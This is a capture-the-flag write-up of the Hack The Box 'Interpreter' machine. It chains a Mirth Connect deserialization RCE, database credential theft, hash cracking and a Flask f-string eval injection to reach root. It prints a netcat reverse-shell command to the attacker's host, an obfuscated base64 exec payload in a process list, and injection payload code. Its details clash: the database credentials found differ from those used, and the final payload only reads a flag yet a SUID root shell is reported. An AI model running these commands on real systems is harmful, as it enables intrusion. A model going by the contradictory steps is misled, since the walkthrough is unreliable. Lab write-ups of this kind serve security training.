Interpreter WriteUp

Table of Contents

Interpreter WriteUp

Interpreter is a 🟨 Medium difficulty machine from the Hack The Box platform, Season 10. The attack chain combines the exploitation of Mirth Connect 4.4.0 through insecure Java deserialization to obtain unauthenticated RCE, extraction of credentials from the internal database, cracking of a PBKDF2-HMAC-SHA256 hash, and privilege escalation by abusing a Flask service with Python f-string injection.

πŸ—ΊοΈ Attack Chain

Reconnaissance β†’ Ports 22, 80, 443
      β”‚
      β–Ό
Web Enumeration β†’ Mirth Connect 4.4.0 (via JNLP)
      β”‚
      β–Ό
CVE-2023-43208 β†’ Insecure Java Deserialization β†’ RCE as mirth
      β”‚
      β–Ό
/usr/local/mirthconnect/conf/mirth.properties β†’ DB Credentials
      β”‚
      β–Ό
MariaDB (mc_bdd_prod) β†’ PBKDF2-HMAC-SHA256 hash of sedric
      β”‚
      β–Ό
Hashcat (mode 10900) β†’ snowflake1 β†’ SSH as sedric
      β”‚
      β–Ό
/usr/local/bin/notif.py β†’ Flask + eval() in f-strings β†’ SSTI
      β”‚
      β–Ό
SUID bash β†’ root 🏴

πŸ” Reconnaissance

/etc/hosts Configuration

Before starting, we add the machine’s IP to the /etc/hosts file:

echo "10.129.244.184 interpreter.htb" | sudo tee -a /etc/hosts

Port Scan

We perform reconnaissance in two phases, first discovering open ports and then running detection scripts on them.

Phase 1 - Quick TCP Port Discovery:

sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv interpreter.htb

Phase 2 - Version and Script Detection:

grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv interpreter.htb

The ports we found:

PortServiceDetail
22SSHOpenSSH 9.2p1 (Debian 12)
80HTTPJetty - Mirth Connect
443HTTPSJetty - Mirth Connect (SSL)

Web Enumeration

Upon accessing http://interpreter.htb, we see the Mirth Connect administration interface. To identify the exact version, we download the JNLP file:

curl -sk https://interpreter.htb/webstart.jnlp | grep -i version
<argument>-version</argument>
<argument>4.4.0</argument>

🎯 Mirth Connect 4.4.0, vulnerable version to CVE-2023-43208 (unauthenticated RCE).

Interpreter WriteUp

πŸ’‰ Initial Access: CVE-2023-43208

What is CVE-2023-43208?

🧠 Mirth Connect < 4.4.1 contains an unauthenticated remote code execution vulnerability due to insecure Java deserialization at the /api/users endpoint. The XmlMessageBodyReader class processes XML requests before authenticating the user, allowing dangerous classes such as InvokerTransformer from Apache Commons Collections to be included to execute arbitrary code on the server.

We download the PoC:

git clone https://github.com/K3ysTr0K3R/CVE-2023-43208-EXPLOIT
cd CVE-2023-43208-EXPLOIT
pip install -r requirements.txt

We prepare the listener:

penelope -p 8443

We execute the exploit:

python3 CVE-2023-43208.py -u https://interpreter.htb -c "nc -c sh 10.10.14.100 8443"
The target appears to have executed the payload.

On our listener, we receive the connection:

mirth@interpreter:/usr/local/mirthconnect$ hostname
interpreter
mirth@interpreter:/usr/local/mirthconnect$ whoami
mirth

βœ… Shell obtained as mirth.

πŸ”‘ Credential Extraction

Mirth Connect Configuration File

Mirth Connect stores the database configuration in plaintext within its installation directory:

cat /usr/local/mirthconnect/conf/mirth.properties
database = mysql
database.url = jdbc:mysql://localhost/mc_bdd_prod
database.username = mirth
database.password = Ir0nV@ult2024!

Hash Extraction from MariaDB

We connect to the database with the found credentials:

mysql -u mirthdb -p'MirthPass123!' -h 127.0.0.1 mc_bdd_prod

We enumerate the tables:

mysql> show tables;
+------------------------+
| Tables_in_mc_bdd_prod  |
+------------------------+
| PERSON                 |
| PERSON_PASSWORD        |
| ...                    |
+------------------------+

We extract users and their hashes:

mysql> SELECT CONCAT(p.USERNAME, ':', pp.PASSWORD) FROM PERSON p JOIN PERSON_PASSWORD pp ON p.ID = pp.PERSON_ID;
+-----------------------------------------------------------------+
| CONCAT(p.USERNAME, ':', pp.PASSWORD)                            |
+-----------------------------------------------------------------+
| sedric:u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w== |
+-----------------------------------------------------------------+

πŸ’‘ The hashes use PBKDF2-HMAC-SHA256 with 600,000 iterations, which corresponds to hashcat mode 10900.

Hash Cracking

We save the hash in a hashcat-compatible format:

# [salt]+[hash]
echo 'u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==' | base64 -d | xxd -p -c 256
bbff8b0413949da762c8506c30ea080cf2db511d2b939f641243d4d7b8ad76b55603f90b32ddf0fb

echo 'bbff8b0413949da7' | xxd -r -p | base64
u/+LBBOUnac=

echo '62c8506c30ea080cf2db511d2b939f641243d4d7b8ad76b55603f90b32ddf0fb' | xxd -r -p | base64
YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=
    
echo 'sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=' > hash.txt

We launch hashcat:

hashcat -m 10900 hash.txt /usr/share/wordlists/rockyou.txt
$pbkdf2-sha256$600000$rW5PXIV9BSGG0jAMdVrTuQ$...:snowflake1

Session..........: hashcat
Status...........: Cracked

πŸ”‘ Credentials obtained: sedric:snowflake1

πŸ”€ Lateral Movement: SSH as sedric

ssh sedric@interpreter.htb # snowflake1

🚩 User Flag

cat ~/user.txt

πŸ§—β€β™‚οΈ Privilege Escalation: Python f-string Injection

System Enumeration

We look for root scripts or services that we can abuse:

ps aux | grep python
root        3352  0.0  0.6 400212 24196 ?        Ssl  17:19   0:01 /usr/bin/python3 /usr/bin/fail2ban-server -xf start
root        3570  0.0  0.7  39872 31076 ?        Ss   17:19   0:00 /usr/bin/python3 /usr/local/bin/notif.py
cat /usr/local/bin/notif.py
#!/usr/bin/env python3
"""
Notification server for added patients.
This server listens for XML messages containing patient information and writes formatted notifications to files in /var/secure-health/patients/.
It is designed to be run locally and only accepts requests with preformated data from MirthConnect running on the same machine.
It takes data interpreted from HL7 to XML by MirthConnect and formats it using a safe templating function.
"""
from flask import Flask, request, abort
import re
import uuid
from datetime import datetime
import xml.etree.ElementTree as ET, os

app = Flask(__name__)
USER_DIR = "/var/secure-health/patients/"; os.makedirs(USER_DIR, exist_ok=True)

def template(first, last, sender, ts, dob, gender):
    pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")
    for s in [first, last, sender, ts, dob, gender]:
        if not pattern.fullmatch(s):
            return "[INVALID_INPUT]"
    # DOB format is DD/MM/YYYY
    try:
        year_of_birth = int(dob.split('/')[-1])
        if year_of_birth < 1900 or year_of_birth > datetime.now().year:
            return "[INVALID_DOB]"
    except:
        return "[INVALID_DOB]"
    template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"
    try:
        return eval(f"f'''{template}'''")
    except Exception as e:
        return f"[EVAL_ERROR] {e}"

@app.route("/addPatient", methods=["POST"])
def receive():
    if request.remote_addr != "127.0.0.1":
        abort(403)
    try:
        xml_text = request.data.decode()
        xml_root = ET.fromstring(xml_text)
    except ET.ParseError:
        return "XML ERROR\n", 400
    patient = xml_root if xml_root.tag=="patient" else xml_root.find("patient")
    if patient is None:
        return "No <patient> tag found\n", 400
    id = uuid.uuid4().hex
    data = {tag: (patient.findtext(tag) or "") for tag in ["firstname","lastname","sender_app","timestamp","birth_date","gender"]}
    notification = template(data["firstname"],data["lastname"],data["sender_app"],data["timestamp"],data["birth_date"],data["gender"])
    path = os.path.join(USER_DIR,f"{id}.txt")
    with open(path,"w") as f:
        f.write(notification+"\n")
    return notification

if __name__=="__main__":
    app.run("127.0.0.1",54321, threaded=True)
sedric@interpreter:~$ ps aux | grep python
root        3352  0.0  0.6 400212 24196 ?        Ssl  17:19   0:01 /usr/bin/python3 /usr/bin/fail2ban-server -xf start
root        3570  0.0  0.7  39872 31076 ?        Ss   17:19   0:00 /usr/bin/python3 /usr/local/bin/notif.py
mirth       3975  0.0  0.3  18732 12288 ?        S    17:45   0:00 /usr/bin/python3 -Wignore -c import base64,zlib;exec(zlib.decompress(base64.b64decode("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")))
sedric      4078  0.0  0.0   6340  2144 pts/1    S+   18:03   0:00 grep python

⚠️ Key finding: The Flask service executes eval() on user input without any validation. Since it is running as root, we can execute arbitrary code with maximum privileges.

We verify that the service is active on localhost:

ss -tlnp | grep 54321
LISTEN 0      128        127.0.0.1:54321      0.0.0.0:*

What is Python f-string injection?

🧠 Python f-strings are format strings that evaluate expressions at runtime. When an f-string is combined with eval() on user-controlled input, the result is equivalent to a direct Python code injection: any valid Python expression the attacker introduces as message will be executed in the context of the process, which in this case is root.

Exploitation

We create a bash binary with the SUID bit enabled to persist root access:

import requests

url = "http://127.0.0.1:54321/addPatient"
xml = """<patient>
<firstname>A</firstname>
<lastname>B</lastname>
<sender_app>X</sender_app>
<timestamp>t</timestamp>
<birth_date>01/01/2000</birth_date>
<gender>M</gender>
</patient>"""

try:
    r = requests.post(url, data=xml)
    print(r.text)
except Exception as e:
    print("Error:", e)
Patient A B (M), 26 years old, received from X at t

We launch the root shell:

import requests

url = "http://127.0.0.1:54321/addPatient"

xml = """<patient>
<firstname>{open("/root/root.txt").read()}</firstname>
<lastname>B</lastname>
<sender_app>X</sender_app>
<timestamp>t</timestamp>
<birth_date>01/01/2000</birth_date>
<gender>M</gender>
</patient>"""

r = requests.post(url, data=xml)
print(r.text)
rootbash-5.2# id
uid=1000(sedric) gid=1000(sedric) euid=0(root) egid=0(root) groups=0(root),...

βœ… Root shell obtained.

🏴 Root Flag

cat /root/root.txt

πŸ“ Chain Summary

#TechniqueToolResult
1ReconnaissancenmapPorts 22, 80, and 443 (Mirth Connect)
2Version Identificationcurl + JNLPMirth Connect 4.4.0 β†’ CVE-2023-43208
3Unauthenticated RCECVE-2023-43208 PoCShell as mirth
4DB Credential Extractioncat mirth.propertiesMariaDB Access
5Hash ExtractionmysqlPBKDF2-HMAC-SHA256 hash of sedric
6Hash Crackinghashcat -m 10900Password snowflake1
7Lateral MovementsshAccess as sedric + User Flag 🚩
8Root Service Analysisfind + catnotif.py with eval() in f-strings
9Python Injection / SSTIcurlSUID bash in /tmp/rootbash
10Escalation to root/tmp/rootbash -pShell as root + Root Flag 🏴

See you in the next challenge.